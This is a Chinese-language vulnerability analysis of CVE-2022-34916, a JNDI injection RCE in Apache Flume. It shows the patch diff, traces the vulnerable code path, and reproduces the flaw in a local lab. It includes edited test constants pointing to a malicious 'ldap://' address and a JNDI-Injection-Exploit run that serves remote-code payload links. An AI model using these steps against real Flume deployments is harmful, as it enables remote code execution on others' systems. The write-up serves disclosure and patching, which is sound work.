

CVE-2022-34916_Apache_Flume 远程代码执行漏洞

项目介绍

Apache Flume 是一个分布式的，可靠的，并且可用于高效地收集，汇总和移动大量日志数据的软件。它具有基于流数据流的简单而灵活的体系结构。它具有可调的可靠性机制以及许多故障转移和恢复机制，并且具有健壮性和容错性。它使用一个简单的可扩展数据模型，该模型允许进行在线分析应用程序。

漏洞描述

在 7 月 22 日，Apache 发布安全公告，修复了一个存在于 Apache Flume 中的远程代码执行漏洞，CVE 编号为 CVE-2022-34916。当攻击者控制目标 LDAP 服务器时，如果配置使用带有 JNDI LDAP 数据源 URI 的 JMS 源，Apache Flume 版本 1.4.0 到 1.10.0 很容易受到远程代码执行 (RCE) 攻击。

利用范围

1.4.0 <= Apache Flume <= 1.10.0

漏洞分析

环境搭建

从 GitHub 上下载 1.10.0 版本，导入 IDEA。

项目 jdk 使用 1.8，然后修改 TestIntegrationActiveMQ 测试类中的 DESTINATION_NAME，因为 destinationName 是由 DESTINATION_NAME 定义；修改 JNDI_PREFIX 为 ldap://

```

@RunWith(Parameterized.class)
public class TestIntegrationActiveMQ {

    private static final Logger LOGGER = LoggerFactory.getLogger(TestIntegrationActiveMQ.class);

    private static final String INITIAL_CONTEXT_FACTORY =
        "org.apache.activemq.jndi.ActiveMQInitialContextFactory";
    public static final String BROKER_BIND_URL = "tcp://localhost:61516";
    //private static final String DESTINATION_NAME = "test";
    private static final String DESTINATION_NAME = "jms:/queue:1389/xid9xu";

    //public static final String JNDI_PREFIX = "dynamicQueues/";
    public static final String JNDI_PREFIX = "ldap://";

    private enum TestMode {
        WITH_AUTHENTICATION,
        WITHOUT_AUTHENTICATION
    }
}

```

在 JMSMessageConsumerTestBase.java 中将 destinationLocator = JMSDestinationLocator.CDI;修改为 destinationLocator = JMSDestinationLocator.JNDI;

```

});
when(message.getText()).thenReturn(TEXT);
when(connectionFactory.createConnection(USERNAME, PASSWORD)).thenReturn(connection);
when(connection.createSession(false, Session.SESSION_TRANSACTED)).thenReturn(session);
when(session.createQueue(destinationName)).thenReturn(queue);
when(session.createConsumer(any(Destination.class), anyString())).thenReturn(messageConsumer);
when(messageConsumer.receiveNoWait()).thenReturn(message);
when(messageConsumer.receive(anyLong())).thenReturn(message);
destinationName = DESTINATION_NAME;
destinationType = JMSDestinationType.QUEUE;
destinationLocator = JMSDestinationLocator.JNDI;
messageSelector = SELECTOR;
batchSize = 10;
pollTimeout = 500L;
context = new Context();
converter = new DefaultJMSMessageConverter.Builder().build(context);
event = converter.convert(message).iterator().next();
userName = Optional.of(USERNAME);
password = Optional.of(PASSWORD);
afterSetup();
}
}

```

最后运行 TestIntegrationActiveMQ 测试类即可

漏洞原理

根据 Apache Flume 漏洞描述，可以确定问题是出现在了 JMSMessageConsumer 中

Flume / FLUME-3428

Need better parameter validation in JMSMessageConsumer

Export

Details

Type: Bug
Priority: Major
Affects Version/s: 1.10.0
Component/s: Sinks+Sources
Labels: None

Status: CLOSED
Resolution: Fixed
Fix Version/s: 1.10.1

People

Assignee: Ralph Goers
Reporter: Ralph Goers
Votes: 0
Watchers: 2

Start watching this issue

Dates

Created: 12/Jul/22 23:47
Updated: 20/Aug/22 23:01
Resolved: 20/Aug/22 23:01

Activity

All Comments Work Log History Activity Transitions

ASF subversion and git services added a comment - 31/Jul/22 00:09
Commit 7fe9af49c485756e1b618493a5bc00b70d7fbd2d in flume's branch refs/heads/trunk from Ralph Goers
[https://gitbox.apache.org/repos/asf?p=flume.git;h=7fe9af49]
FLUME-3428 - Validate the parameter

Ralph Goers added a comment - 20/Aug/22 22:49
This resolves CVE-2022-34916

查看 [Diff](#) 记录发现，修复方式是在 JMSMessageConsumer 中的 else 分支下，在 `initialContext.lookup(destinationName)` 前新增了对 `destinationName` 的校验

```
@@ -35,11 +35,14 @@
35 35 import javax.jms.Topic;
36 36 import javax.naming.InitialContext;
37 37 import javax.naming.NamingException;
38 + import java.net.URI;
39 + import java.net.URISyntaxException;
40 40 import java.util.ArrayList;
41 41 import java.util.List;
42 42
43 43 class JMSMessageConsumer {
44 44     private static final Logger logger = LoggerFactory.getLogger(JMSMessageConsumer.class);
45 45     private static final String JAVA_SCHEME = "java";
46 46
47 47     private final int batchSize;
48 48     private final long pollTimeout;
49 49
50 50     @@ -99,6 +102,14 @@ class JMSMessageConsumer {
99 102         throw new IllegalStateException(String.valueOf(destinationType));
100 103     }
101 104     } else {
105 +         try {
106 +             URI uri = new URI(destinationName);
107 +             String scheme = uri.getScheme();
108 +             assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),
109 +                 "Unsupported JNDI URI: " + destinationName);
110 +         } catch (URISyntaxException ex) {
111 +             logger.warn("Invalid JNDI URI - {}", destinationName);
112 +         }
113
114         destination = (Destination) initialContext.lookup(destinationName);
115     }
116     } catch (JMSException e) {
117
118     @@ -209,4 +220,8 @@ void close() {
209 220         logger.error("Could not destroy connection", e);
210 221     }
211 222     }
223 +
224 +     private void assertTrue(boolean arg, String msg) {
225 +         Preconditions.checkArgument(arg, msg);
226 +     }
227 227 }
```

那么漏洞触发点已经很明确了，在没有增加校验前，只要进入 JMSMessageConsumer 中 else 分支，控制 `destinationName` 参数，即可实现 JNDI 注入。

代码分析

知道了漏洞原理后，分析一下代码

首先在 TestJMSMessageConsumer#testCreateDurableSubscription 初始化了 JMSMessageConsumer 并传入 destinationLocator

```
4
5
6  @Test
7  public void testCreateDurableSubscription() throws Exception {
8      String name = "SUBSCRIPTION_NAME";
9      String clientID = "CLIENT_ID";
10     TopicSubscriber mockTopicSubscriber = mock(TopicSubscriber.class);
11     when(session.createDurableSubscriber(any(Topic.class), anyString(), anyString(), anyBoolean()))
12         .thenReturn(mockTopicSubscriber);
13     when(session.createTopic(destinationName)).thenReturn(topic);
14     new JMSMessageConsumer(WONT_USE, connectionFactory, destinationName, destinationLocator,
15         JMSDestinationType.TOPIC, messageSelector, batchSize, pollTimeout, converter, userName,
16         password, Optional.of(clientID), createDurableSubscription: true, name);
17     verify(connection, times(wantedNumberOfInvocations: 1)).setClientID(clientID);
18     verify(session, times(wantedNumberOfInvocations: 1)).createDurableSubscriber(topic, name, messageSelector, b: true);
19 }
20
21 |
22
23 @Test(expected = JMSEException.class)
24 public void testTakeFailsDueToJMSEExceptionFromReceive() throws JMSEException {
25     when(messageConsumer.receive(anyLong())).thenThrow(new JMSEException(""));
26     consumer = create();
27
28     consumer.take();
29 }
30 }
```

destinationLocator 的定义是在 JMSMessageConsumerTestBase.java 中

```
85
86  @Override
87  public boolean hasMoreElements() { return false; }
88
89  @Override
90  public Object nextElement() { throw new UnsupportedOperationException(); }
91
92  };
93
94  when(message.getText()).thenReturn(TEXT);
95  when(connectionFactory.createConnection(USERNAME, PASSWORD)).thenReturn(connection);
96  when(connection.createSession(b: true, Session.SESSION_TRANSACTED)).thenReturn(session);
97  when(session.createQueue(destinationName)).thenReturn(queue);
98  when(session.createConsumer(any(Destination.class), anyString())).thenReturn(messageConsumer);
99  when(messageConsumer.receiveNoWait()).thenReturn(message);
100  when(messageConsumer.receive(anyLong())).thenReturn(message);
101  destinationName = DESTINATION_NAME;
102  destinationType = JMSDestinationType.QUEUE;
103  destinationLocator = JMSDestinationLocator.JNDI;
104  messageSelector = SELECTOR;
105  batchSize = 10;
106  pollTimeout = 500L;
107  context = new Context();
108  converter = new DefaultJMSMessageConverter.Builder().build(context);
109  event = converter.convert(message).iterator().next();
110  userName = Optional.of(USERNAME);
111  password = Optional.of(PASSWORD);
112  afterSetup();
113
114  void beforeSetup() throws Exception {
115
116  }
117
118  void afterSetup() throws Exception {
119
120  }
121
122  void beforeTearDown() throws Exception {
```

在搭建环境时，我们是将 destinationLocator = JMSDestinationLocator.CDI;修改为了 destinationLocator = JMSDestinationLocator.JNDI;

```

81     }
82
83     try {
84         session = connection.createSession( false, Session.SESSION_TRANSACTED);
85     } catch (JMSException e) {
86         throw new FlumeException("Could not create session", e);
87     }
88
89     try {
90         if (destinationLocator.equals(JMSDestinationLocator.CDI)) {
91             switch (destinationType) {
92                 case QUEUE:
93                     destination = session.createQueue(destinationName);
94                     break;
95                 case TOPIC:
96                     destination = session.createTopic(destinationName);
97                     break;
98                 default:
99                     throw new IllegalStateException(String.valueOf(destinationType));
100             }
101         } else {
102             destination = (Destination) initialContext.lookup(destinationName);
103         }
104     } catch (JMSException e) {
105         throw new FlumeException("Could not create destination " + destinationName, e);
106     } catch (NamingException e) {
107         throw new FlumeException("Could not find destination " + destinationName, e);
108     }
109
110     try {
111         if (createDurableSubscription) {
112             messageConsumer = session.createDurableSubscriber(
113                 (Topic) destination, durableSubscriptionName,
114                 messageSelector.isEmpty() ? null : messageSelector, false);
115         } else {
116             messageConsumer = session.createConsumer(destination);
117         }
118     } catch (JMSException e) {
119         throw new FlumeException("Could not create message consumer", e);
120     }
121 }

```

这样配置，是为了在 `JMSMessageConsumer` 中不满足 if 条件后，能够进入到 else，到达漏洞触发点。

而在官方提供的测试类中，`TestIntegrationActiveMQ` 类存在 `testQueueLocatedWithJndi`，将作为 source 点传入参数

```

216     connection.close();
217 }
218
219 @Test
220 public void testQueueLocatedWithJndi() throws Exception {
221     context.put(JMSSourceConfiguration.DESTINATION_NAME,
222         JNDI_PREFIX + DESTINATION_NAME);
223     context.put(JMSSourceConfiguration.DESTINATION_LOCATOR,
224         JMSDestinationLocator.JNDI.name());
225     testQueue();
226 }
227
228 @Test
229 public void testQueue() throws Exception {
230     context.put(JMSSourceConfiguration.DESTINATION_TYPE,
231         JMSSourceConfiguration.DESTINATION_TYPE_QUEUE);
232     source.configure(context);
233     source.start();
234     Thread.sleep( millis: 500L);
235
236     List<String> expected = Lists.newArrayList();
237     for (int i = 0; i < 10; i++) {
238         expected.add(String.valueOf(i));
239     }
240     putQueue(expected);
241
242     Thread.sleep( millis: 500L);
243
244     Assert.assertEquals(Status.READY, source.process());
245     Assert.assertEquals(Status.BACKOFF, source.process());
246     Assert.assertEquals(expected.size(), events.size());
247     List<String> actual = Lists.newArrayList();
248     for (Event event : events) {
249         actual.add(new String(event.getBody(), Charsets.UTF_8));
250     }
251 }

```

修改 `DESTINATION_NAME` 为恶意 JNDI 地址，将 `JNDI_PREFIX` 修改为 `ldap://`

```

62
63 @RunWith(Parameterized.class)
64 public class TestIntegrationActiveMQ {
65
66     private static final Logger LOGGER = LoggerFactory.getLogger(TestIntegrationActiveMQ.class);
67
68     private static final String INITIAL_CONTEXT_FACTORY =
69         "org.apache.activemq.jndi.ActiveMQInitialContextFactory";
70     public static final String BROKER_BIND_URL = "tcp://localhost:61516";
71     //private static final String DESTINATION_NAME = "test";
72     private static final String DESTINATION_NAME = "jms://1:1389/xid9xu";
73
74     //public static final String JNDI_PREFIX = "dynamicQueues/";
75     public static final String JNDI_PREFIX = "ldap://";
76
77     private enum TestMode {
78         WITH_AUTHENTICATION,
79         WITHOUT_AUTHENTICATION
80     }
81 }

```

通过参数的传入，经过如上分析的流程，到达 **else** 后，由于没有校验，直接触发 `initialContext.lookup`，造成 JNDI 注入，从而执行恶意远程代码。

漏洞复现

The screenshot shows a Java IDE with the `TestIntegrationActiveMQ` class. The `DESTINATION_NAME` is set to `"jms://1:1389/xid9xu"`. A terminal window in the foreground shows the execution of the JNDI injection exploit:

```

C:\>java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
[ADDRESS] >> 1:1389/xid9xu
[COMMAND] >> calc

-----JNDI Links-----
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://1:1099/xvycbg
ldap://1:1389/xvycbg
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://1:1099/p9hshu
ldap://1:1389/p9hshu
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x
+ in classpath):
rmi://1:1099/mt16pe

-----Server Log-----
[Java 2022-09-16 15:02:21 [JETTYSERVER]>> Listening on 0.0.0.0:8180
[n] Err 2022-09-16 15:02:21 [RMISERVER]>> Listening on 0.0.0.0:1099
[rs] 2022-09-16 15:02:22 [LDAPSERVER]>> Listening on 0.0.0.0:1389
[rs] 2022-09-16 15:02:47 [RMISERVER]>> Have connection from /127.0.0.1:20310
[n] Err 2022-09-16 15:02:47 [RMISERVER]>> Reading message...
[cf-as] 2022-09-16 15:02:47 [RMISERVER]>> Closing connection
[rs] 2022-09-16 15:02:48 [RMISERVER]>> Have connection from /127.0.0.1:20312
[rs] 2022-09-16 15:02:48 [RMISERVER]>> Reading message...

```

修复建议

官方已发布安全版本，请尽快更新至安全版本，下载链接：<https://flume.apache.org/download.html>